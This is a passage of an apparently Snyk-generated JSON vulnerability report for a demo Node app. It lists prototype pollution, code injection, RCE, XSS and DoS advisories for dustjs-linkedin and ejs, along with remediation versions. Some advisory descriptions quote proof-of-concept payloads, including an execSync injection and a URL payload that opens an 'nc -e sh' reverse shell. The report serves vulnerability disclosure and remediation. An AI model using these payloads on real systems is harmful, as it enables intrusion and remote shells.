DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `dustjs-linkedin` to version 3.0.0 or higher.\n## References\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/804)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/805)\n", + "disclosureTime": "2021-03-26T13:19:46Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.0.0" + ], + "id": "SNYK-JS-DUSTJSLINKEDIN-1089257", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-10-21T09:08:02.641971Z", + "moduleName": "dustjs-linkedin", + "packageManager": "npm", + "packageName": "dustjs-linkedin", + "patches": [], + "proprietary": false, + "publicationTime": "2021-04-26T16:18:43Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/linkedin/dustjs/issues/804" + }, + { + "title": "GitHub PR", + "url": "https://github.com/linkedin/dustjs/pull/805" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.0.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "dustjs-linkedin@2.5.0" + ], + "upgradePath": [ + false, + "dustjs-linkedin@3.0.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "dustjs-linkedin", + "version": "2.5.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L", + "alternativeIds": [ + "SNYK-JS-DUSTJSLINKEDIN-10136" + ], + "creationTime": "2016-09-14T00:00:00Z", + "credit": [ + "Michael Stepankin" + ], + "cvssScore": 8.6, + "description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's `eval()` function to evaluate the \"if\" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.\r\n\r\nHowever, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact `express`, `koa` and many other Node.js servers allow users to force a query parameter to be an array using the `param[]=value` notation.\n## Remediation\nUpgrade `dustjs-linkedin` to version 2.6.0 or higher.\n## References\n- [Artsploit Blog](https://artsploit.blogspot.co.il/2016/08/pprce2.html)\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/741)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/534)\n", + "disclosureTime": "2015-01-09T00:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.6.0" + ], + "id": "npm:dustjs-linkedin:20160819", + "identifiers": { + "CWE": [ + "CWE-95" + ], + "ALTERNATIVE": [ + "SNYK-JS-DUSTJSLINKEDIN-10136" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:40:58.977005Z", + "moduleName": "dustjs-linkedin", + "packageManager": "npm", + "packageName": "dustjs-linkedin", + "patches": [], + "proprietary": false, + "publicationTime": "2016-09-14T00:00:00Z", + "references": [ + { + "title": "Artsploit Blog", + "url": "https://artsploit.blogspot.co.il/2016/08/pprce2.html" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/linkedin/dustjs/issues/741" + }, + { + "title": "GitHub PR", + "url": "https://github.com/linkedin/dustjs/pull/534" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Code Injection", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.6.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "dustjs-linkedin@2.5.0" + ], + "upgradePath": [ + false, + "dustjs-linkedin@2.6.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "dustjs-linkedin", + "version": "2.5.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-12-09T11:56:59.861160Z", + "credit": [ + "fangzequn" + ], + "cvssScore": 4.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection via the `render` and `renderFile`. If external input is flowing into the `options` parameter, an attacker is able run arbitrary code. This include the `filename`, `compileDebug`, and `client` option.\r\n\r\n## POC\r\n```\r\nlet ejs = require('ejs')\r\nejs.render('./views/test.ejs',{\r\n filename:'/etc/passwd\\nfinally { this.global.process.mainModule.require(\\'child_process\\').execSync(\\'touch EJS_HACKED\\') }',\r\n compileDebug: true,\r\n message: 'test',\r\n client: true\r\n})\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.6 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/abaee2be937236b1b8da9a1f55096c17dda905fd)\n- [GitHub Issue](https://github.com/mde/ejs/issues/571)\n", + "disclosureTime": "2020-12-09T11:56:29Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.6" + ], + "id": "SNYK-JS-EJS-1049328", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-09T10:03:10.858458Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2021-01-20T16:41:56Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/abaee2be937236b1b8da9a1f55096c17dda905fd" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/571" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Arbitrary Code Injection", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.6" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@3.1.6" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-26T09:01:03.387695Z", + "credit": [ + "evi0s" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n", + "disclosureTime": "2022-04-26T08:36:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.7" + ], + "id": "SNYK-JS-EJS-2803307", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [ + "CVE-2022-29078" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-26T13:41:31.873315Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-26T13:41:31.870922Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/451" + }, + { + "title": "GitHub Release", + "url": "https://github.com/mde/ejs/releases" + }, + { + "title": "Security Advisory", + "url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@3.1.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10218" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 8.1, + "description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "fixedIn": [ + "2.5.3" + ], + "id": "npm:ejs:20161128", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10218" + ], + "CVE": [ + "CVE-2017-1000228" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.346213Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [ + { + "comments": [], + "id": "patch:npm:ejs:20161128:0", + "modificationTime": "2019-12-03T11:40:45.851976Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch" + ], + "version": "<2.5.3 >=2.2.4" + } + ], + "proprietary": true, + "publicationTime": "2016-11-28T18:44:12Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "semver": { + "vulnerable": [ + "<2.5.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@2.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", + "alternativeIds": [ + "SNYK-JS-EJS-10225" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 5.9, + "description": "## Overview\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\nAffected versions of the package are vulnerable to _Cross-site Scripting_ by letting the attacker under certain conditions control and override the `filename` option causing it to render the value as is, without escaping it.\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\n\nThere's also a [Remote Code Execution](https://snyk.io/vuln/npm:ejs:20161128) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour.\n\n## Details\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\n\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\n```js\nejs.render(str, data, options);\n\nejs.renderFile(filename, data, options, callback)\n```\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\n```js\nejs.render(str, dataAndOptions);\n\nejs.renderFile(filename, dataAndOptions, callback)\n```\n\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `filename` option, which will be rendered as is when an error occurs during rendering. \n\n```js\nejs.renderFile('my-template', {filename:''}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n## Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n## Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\nOtherwise, Upgrade `ejs` to version `2.5.5` or higher.\n\n## References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.5.5" + ], + "id": "npm:ejs:20161130", + "identifiers": { + "CWE": [ + "CWE-79" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10225" + ], + "CVE": [ + "CVE-2017-1000188" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.338142Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2016-12-06T15:00:00Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Cross-site Scripting (XSS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.5.5" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@2.5.5" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10226" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 5.9, + "description": "## Overview\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\nAffected versions of the package are vulnerable to _Denial of Service_ by letting the attacker under certain conditions control and override the `localNames` option causing it to crash.\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\n\nThere's also a [Remote Code Execution](https://snyk.io/vuln/npm:ejs:20161128) & [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) vulnerabilities caused by the same behaviour.\n\n## Details\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\n\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\n```js\nejs.render(str, data, options);\n\nejs.renderFile(filename, data, options, callback)\n```\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\n```js\nejs.render(str, dataAndOptions);\n\nejs.renderFile(filename, dataAndOptions, callback)\n```\n\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `localNames` option, which will cause the renderer to crash.\n\n```js\nejs.renderFile('my-template', {localNames:'try'}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n## Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n## Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\nOtherwise, Upgrade `ejs` to version `2.5.5` or higher.\n\n## References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.5.5" + ], + "id": "npm:ejs:20161130-1", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10226" + ], + "CVE": [ + "CVE-2017-1000189" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.363144Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2016-12-06T15:00:00Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Denial of Service (DoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.5.5" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@2.5.5" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-12-09T11:56:59.861160Z", + "credit": [ + "fangzequn" + ], + "cvssScore": 4.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection via the `render` and `renderFile`. If external input is flowing into the `options` parameter, an attacker is able run arbitrary code. This include the `filename`, `compileDebug`, and `client` option.\r\n\r\n## POC\r\n```\r\nlet ejs = require('ejs')\r\nejs.render('./views/test.ejs',{\r\n filename:'/etc/passwd\\nfinally { this.global.process.mainModule.require(\\'child_process\\').execSync(\\'touch EJS_HACKED\\') }',\r\n compileDebug: true,\r\n message: 'test',\r\n client: true\r\n})\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.6 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/abaee2be937236b1b8da9a1f55096c17dda905fd)\n- [GitHub Issue](https://github.com/mde/ejs/issues/571)\n", + "disclosureTime": "2020-12-09T11:56:29Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.6" + ], + "id": "SNYK-JS-EJS-1049328", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-09T10:03:10.858458Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2021-01-20T16:41:56Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/abaee2be937236b1b8da9a1f55096c17dda905fd" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/571" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Arbitrary Code Injection", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.6" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-26T09:01:03.387695Z", + "credit": [ + "evi0s" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n", + "disclosureTime": "2022-04-26T08:36:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.7" + ], + "id": "SNYK-JS-EJS-2803307", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [ + "CVE-2022-29078" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-26T13:41:31.873315Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-26T13:41:31.870922Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/451" + }, + { + "title": "GitHub Release", + "url": "https://github.com/mde/ejs/releases" + }, + { + "title": "Security Advisory", + "url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10218" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 8.1, + "description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus 